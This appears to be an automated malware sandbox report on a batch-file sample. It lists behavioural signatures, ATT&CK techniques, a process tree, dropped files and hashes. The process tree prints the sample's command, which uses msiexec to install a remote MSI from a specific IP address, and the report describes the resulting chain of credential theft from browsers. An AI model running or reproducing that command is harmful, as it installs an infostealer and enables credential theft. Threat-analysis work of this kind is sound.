28338f54ec90e30ff13908906ca079d8da6b7a1c48095dbfa613198929a43848

Analysis

user interaction
yes
max time kernel
110s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/08/2026, 22:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
actualmalware.bat
Size 58B
Sample260824-15vsksfc53
SHA256 28338f54ec90e30ff13908906ca079d8da6b7a1c48095dbfa613198929a43848
MD5 5b074248e847fbb20bc659a8ebd9d349
SHA1 d9bda53cc290dbb2544c6c2dd474348fc021d63c
SHA512 f1125bc18c01353b44f0d4f7a5aa5bf4e10ef6b672f6641d8a00611f731ba84f107ef2ba1375dff4fcf824666fa5cf3347232e3e4839f354b6562af6db430c8c
TLSH
T18EA00295506F912884E4872964FC00519043DCD07D8507CCF25069FC05A1014B005B50
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Downloads MZ/PE file 2 IoCs

flow	pid	Process
17	4360	InstallUtil.exe
18	4228	rum75sy.exe

Executes dropped EXE 3 IoCs

pid	Process
4228	rum75sy.exe
4164	nuktr.exe
6000	AutoIt3.exe

Loads dropped DLL 2 IoCs

pid	Process
4360	InstallUtil.exe
4360	InstallUtil.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4268	msiexec.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4268	msiexec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4228	rum75sy.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF5CA16D2ADFABA7AE.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI141B.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI60F2.tmp	msiexec.exe
File created	C:\Windows\Installer\e5961fd.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF7AE13D3AF765729.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFDD2E4A6CD2E999D.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4268	msiexec.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2820	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AutoIt3.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2468	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4384	msiexec.exe
4384	msiexec.exe
4228	rum75sy.exe
4228	rum75sy.exe
4228	rum75sy.exe
4228	rum75sy.exe
4228	rum75sy.exe
4228	rum75sy.exe
6000	AutoIt3.exe
6000	AutoIt3.exe
6000	AutoIt3.exe
6000	AutoIt3.exe
6000	AutoIt3.exe
6000	AutoIt3.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4268	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4268	msiexec.exe
Token: SeRestorePrivilege	4268	msiexec.exe
Token: SeTakeOwnershipPrivilege	4268	msiexec.exe
Token: SeSecurityPrivilege	4384	msiexec.exe
Token: SeCreateTokenPrivilege	4268	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4268	msiexec.exe
Token: SeLockMemoryPrivilege	4268	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4268	msiexec.exe
Token: SeMachineAccountPrivilege	4268	msiexec.exe
Token: SeTcbPrivilege	4268	msiexec.exe
Token: SeSecurityPrivilege	4268	msiexec.exe
Token: SeTakeOwnershipPrivilege	4268	msiexec.exe
Token: SeLoadDriverPrivilege	4268	msiexec.exe
Token: SeSystemProfilePrivilege	4268	msiexec.exe
Token: SeSystemtimePrivilege	4268	msiexec.exe
Token: SeProfSingleProcessPrivilege	4268	msiexec.exe
Token: SeIncBasePriorityPrivilege	4268	msiexec.exe
Token: SeCreatePagefilePrivilege	4268	msiexec.exe
Token: SeCreatePermanentPrivilege	4268	msiexec.exe
Token: SeBackupPrivilege	4268	msiexec.exe
Token: SeRestorePrivilege	4268	msiexec.exe
Token: SeShutdownPrivilege	4268	msiexec.exe
Token: SeDebugPrivilege	4268	msiexec.exe
Token: SeAuditPrivilege	4268	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4268	msiexec.exe
Token: SeChangeNotifyPrivilege	4268	msiexec.exe
Token: SeRemoteShutdownPrivilege	4268	msiexec.exe
Token: SeUndockPrivilege	4268	msiexec.exe
Token: SeSyncAgentPrivilege	4268	msiexec.exe
Token: SeEnableDelegationPrivilege	4268	msiexec.exe
Token: SeManageVolumePrivilege	4268	msiexec.exe
Token: SeImpersonatePrivilege	4268	msiexec.exe
Token: SeCreateGlobalPrivilege	4268	msiexec.exe
Token: SeBackupPrivilege	2568	vssvc.exe
Token: SeRestorePrivilege	2568	vssvc.exe
Token: SeAuditPrivilege	2568	vssvc.exe
Token: SeBackupPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeDebugPrivilege	4360	InstallUtil.exe
Token: SeBackupPrivilege	468	srtasks.exe
Token: SeRestorePrivilege	468	srtasks.exe
Token: SeSecurityPrivilege	468	srtasks.exe
Token: SeTakeOwnershipPrivilege	468	srtasks.exe
Token: SeBackupPrivilege	468	srtasks.exe
Token: SeRestorePrivilege	468	srtasks.exe
Token: SeSecurityPrivilege	468	srtasks.exe
Token: SeTakeOwnershipPrivilege	468	srtasks.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
4268	msiexec.exe
6000	AutoIt3.exe
6000	AutoIt3.exe
6000	AutoIt3.exe
4268	msiexec.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
6000	AutoIt3.exe
6000	AutoIt3.exe
6000	AutoIt3.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4268	msiexec.exe
4384	msiexec.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 4268	2820	cmd.exe	89
PID 4384 wrote to memory of 468	4384	msiexec.exe	96
PID 4384 wrote to memory of 4360	4384	msiexec.exe	98
PID 4360 wrote to memory of 4228	4360	InstallUtil.exe	101
PID 4360 wrote to memory of 4164	4360	InstallUtil.exe	102
PID 4164 wrote to memory of 2468	4164	nuktr.exe	103
PID 4164 wrote to memory of 6000	4164	nuktr.exe	105
PID 6000 wrote to memory of 5040	6000	AutoIt3.exe	106
PID 6000 wrote to memory of 5040	6000	AutoIt3.exe	106

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\actualmalware.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\system32\msiexec.exe
  msiexec.exe /i http://192.177.26.199/fvdvr8anws/04hmce.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Badlisted process makes network request
  - Enumerates connected drives
  - Drops file in Windows directory
  - Event Triggered Execution: Installer Packages
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:4268

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4384
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:468
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\SysWOW64\..\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" "C:\Users\Admin\AppData\Local\MyApp\11.dll"
  2⤵
  - Downloads MZ/PE file
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4360
- - C:\Users\Admin\rum75sy.exe
    "C:\Users\Admin\rum75sy.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:4228
- - C:\Users\Admin\nuktr.exe
    "C:\Users\Admin\nuktr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Windows\SYSTEM32\ipconfig.exe
      ipconfig.exe /uyewurt27638478yhdjkshf
      4⤵
      Gathers network information
      PID:2468
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Los.a3x
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:6000
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        
        PID:5040

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2568

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5496

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5961fc.rbs

Path C:\Config.Msi\e5961fc.rbs
Size 8KB
SHA256 7bed7a40e315faa52853b122f68987a9149be2ce66fd31a08a254d27f14437d9
MD5 b02e87c3f89ce1ce6ec170e2f3463b38
SHA1 ff7193b82e6044bd1f5dad7e1f9fd7480d6b8e39
SHA512 1f995a21ccbb6c7254b7d9da44bf7dea96066e20df05f966b9af8a28768c544df26b6622507c1be1b839e5b560b59682c7433602acdec7cd328cfeee9fa515c2
SSDEEP 192:+89HCM2HOP32OIdP32Ontd30rQlXaoIUiLpF7r2Svk/w33R:+8HP32XP32uY
TLSH
T1ED025350B720C4E1E6E61F36C717171537B2C3FAD392276BC48EA5385E13B899E1A4C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DE9862F4-272B-9A88-877C-03D09F845B98.txt

Path C:\ProgramData\DE9862F4-272B-9A88-877C-03D09F845B98.txt
Size 64B
SHA256 03c9db9762ac6e274fc595c382ead763b11a5fc8fc7b1b4920fb3afd72d027a2
MD5 5153c68936ec4b5700e07190dbe70f3c
SHA1 4540495930399bc5fa14b955ece7e48dedd1c27d
SHA512 38043a6d9076a8cc9bd09c38d2b62f891a160d12fa08b77339ede277fc6422e056c65e1f7750c9a026bc5b7cb44ebf040a75562b302d1ba40910c577a640f09e
TLSH
T185A022E083E0300030C308A8088322A802823BB000B8C33C00E3022838BBB288000880
MD5 SHA1 SHA512 TLSH

Submit Download

11.dll

Path C:\Users\Admin\AppData\Local\MyApp\11.dll
Size 5KB
SHA256 4c1be080b2cea0f4a4903e0186e9b12355f80622dec5b9a0f6c774c86e4148f3
MD5 00fb8cb54d34b74045c4fb3d70367119
SHA1 b16dd61e0b6b0e098d4463be0b1c99515f40d5b0
SHA512 04739d1e1a05b105c5d798570af2ca3e2d484258375f99e195341e1b9d4736df7ab9e5083fa26954e62e56e6bac9e740a0d27f559ea75c42b6f1b2b83179a817
SSDEEP 48:6hEaoTBZidwZ+lwYwZ+tmf3Qtfu+PZel1LEqFzpfUa0dJZdbFhTaHMQFP/vU7WcK:qd0+lw7+QWfuIQDLrd5T0xJasQRNMY
TLSH
T1A0B1A22BB3E84F36E99E4B3469B383112375F2129B23875E15E422186C736101A35F76
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AutoIt3.exe

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
Size 925KB
SHA256 98e4f904f7de1644e519d09371b8afcbbf40ff3bd56d76ce4df48479a4ab884b
MD5 0adb9b817f1df7807576c2d7068dd931
SHA1 4a1b94a9a5113106f40cd8ea724703734d15f118
SHA512 883aa88f2dba4214bb534fbdaf69712127357a3d0f5666667525db3c1fa351598f067068dfc9e7c7a45fed4248d7dca729ba4f75764341e47048429f9ca8846a
SSDEEP 24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
TLSH
T101158C0373918062FEA7A5331F5FE7265B7C6D2A0323B52F13981E79B9701B1162E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Los.a3x

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Los.a3x
Size 1.1MB
SHA256 839d82fb135110518ee867d0363ae5b9056bd08c225e6793e64e8910c1fced06
MD5 2f9008c2871ae74e799fe61f79afa432
SHA1 f9a008cc953441e9832584ab9ad3fad5b7baa602
SHA512 0817a21cdfc410fdc5418545ebab18b66f9d33254310b3a2c72972d437106bf8e011281d5f4d740915c244cdfd7785fd503fa759d1320cc92f717a136270892a
SSDEEP 24576:edyVBRFnr6oxFi1nCF2TFanFIbRnnU3cswZ+c+EFJxRHzvZeKnp4qViW7E:e0VBR5rJFMc2TVbxnU3csHEFJlXmsiWY
TLSH
T1B045330A00C95C379F3687781C1AAB0E315B778FEC2669E10687EA1C2DFA5F7D15A036
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nuktr.exe

Path C:\Users\Admin\nuktr.exe
Size 1.7MB
SHA256 4b736b3d8a0faf5eb0c40aa9231584c5cfc0483e2ba144e95e0441804d8ee52e
MD5 c21df272dde7f8d3a5518e38ca57f843
SHA1 21761efc071f410d71c20f588c22d943ecf08c1f
SHA512 8e3b872a5d6db49588116276af4a3425fc0af742ec7ea3815689c4f59715e74eb654f7724c742c36cbeb2ac2f77ca47ac39c0bf2081092ca9c7ff330c1ccd052
SSDEEP 49152:C1nK5VBR3i5T8HtT6RqnO3cs8EkR9ggpgyz2J9/TPM:C1nK5Vvi1isIokrgiZ2J970
TLSH
T1F685231613D54869DA3687744CF2864B6232BD869F3966CF1384BE0D2F336E6E136327
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rum75sy.exe

Path C:\Users\Admin\rum75sy.exe
Size 261KB
SHA256 1f2e0659d43d9bf50aebbcfa060f4a2245054f7d1ca95d51e7f177d334e61f6c
MD5 134ee0afd1ef632342df5ff475588f60
SHA1 a5d7a87c76e1a045422fe63b5ed74a4f1f964ee1
SHA512 51637e9ddbb1c8cd7158ad03b2e9b6b03c02d511d2fe9232add0e395be0302fcf0fe23f4120d5c695b2413a86e4137ef5f665f72f6e44e338e3929d06016e16e
SSDEEP 3072:kjE0MGbuNKbkwxY6tJbmDHXKD/ky5YxtkysLx6mwDcFWffkrbibvHmbWwJ4rt5p1:k2aoHXNpxtlXvbvHgD+Foev
TLSH
T102447D85FBC6ACEACA160235899B43793338F7D517879B170D29B2341E23AD0ED86747
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI141B.tmp

Path C:\Windows\Installer\MSI141B.tmp
Size 32KB
SHA256 fed658ab67bacddba4ca899d6eacf8b08395371f2371de2fc6a8550846dfd366
MD5 008d22914e367ffc66b2e53bfa549e00
SHA1 c1b34c86acd10f0d1168f07b026ebc8d6d918cd6
SHA512 3916195a031230060c3bafa3e63c900cd5b39ddf4a0d55c75f6e960f98dbe29e68e9bcbb525e306a6ad83f27195e15c2d9c4dd9f9e657bcfa8b13f8717b19d1b
SSDEEP 384:LCx4tkW6B8VrJTKzBxey3M5DoXRZNoPx5Pey3M5BC0a:L16BqmLeWMJeWMDCL
TLSH
T1BFE2D61B36449331C58203329A2FE3E54B36AC589F571517729BF38C2F729D0A2B7AE1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 816369cc82db11b115c1f58d442271f60dafb28fe719b21a53aa4ab549f92059
MD5 9f3a74820a6eb8d95538f2a96d9ed245
SHA1 75130f2a605b9b622e2445eeb48f0ee92e8261ab
SHA512 92a1d011f0b7381f9cea92d884f3d70c82c801c5538e9fea17b3d730c97c95817f9dea1a7cb8f7fef513ebe93f02a545507059e8cfaa5e96d1362b885fee169e
SSDEEP 24576:wFo3DMPmdoO/vvTL/Sg88iFQvrumHb7P0BKudxSUKpyKpb9cMoRWclmd4+S:HHU
TLSH
T1E557B42436F92200E7F79E3DA8F06A234D397D5BAC15DE8D45511B4E0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{5b3b7239-cd35-4d92-ae78-bea899340f32}_OnDiskSnapshotProp

Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{5b3b7239-cd35-4d92-ae78-bea899340f32}_OnDiskSnapshotProp
Size 6KB
SHA256 ad2d827bb826bd83b7c3d8bfc03d410fca3fd0f3267f34c111d377c220ce57f2
MD5 b1e22355dfffd11dcae1711ea825ca45
SHA1 de5289674f3d354076113d29e266087fd69de003
SHA512 cda8a3b8ab40891dec4615338a5b18fa404a8ce8aff4c325415f17438ff25f85dfcf53b3e34dab916e981d2db67148c65951b223475d1a7fd3ec5dd6916ddabe
SSDEEP 96:FTMnQ7oCvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:Gnfeb++uVmN
TLSH
T16AD179085AF54711E2B3AB3129F18557A877B911EF33CB8E0198638E2671A10F935F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4228-90-0x0000000460000000-0x0000000460257000-memory.dmp

Download

memory/4228-48-0x0000000460000000-0x0000000460257000-memory.dmp

Download

memory/4228-89-0x0000000460000000-0x0000000460257000-memory.dmp

Download

memory/4228-91-0x00007FF7F0A00000-0x00007FF7F0A43000-memory.dmp

Download

memory/4360-68-0x0000000005A50000-0x0000000005A62000-memory.dmp

Download

memory/4360-69-0x0000000005AB0000-0x0000000005AEC000-memory.dmp

Download

memory/4360-19-0x00000000052F0000-0x00000000052F8000-memory.dmp

Download

memory/4360-15-0x00000000052C0000-0x00000000052DA000-memory.dmp

Download

memory/4360-14-0x0000000000880000-0x000000000088C000-memory.dmp

Download

memory/4384-23-0x0000027A82550000-0x0000027A82EF4000-memory.dmp

Download

memory/6000-107-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-101-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-111-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-94-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-110-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-109-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-112-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-108-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-104-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-106-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-105-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-103-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-102-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-100-0x0000000005F40000-0x0000000005FF3000-memory.dmp

Download

memory/6000-93-0x0000000002140000-0x0000000002141000-memory.dmp

Download

memory/6000-125-0x0000000007C80000-0x0000000007D47000-memory.dmp

Download

memory/6000-126-0x0000000008410000-0x00000000087B1000-memory.dmp

Download

memory/6000-127-0x0000000007E80000-0x0000000007F27000-memory.dmp

Download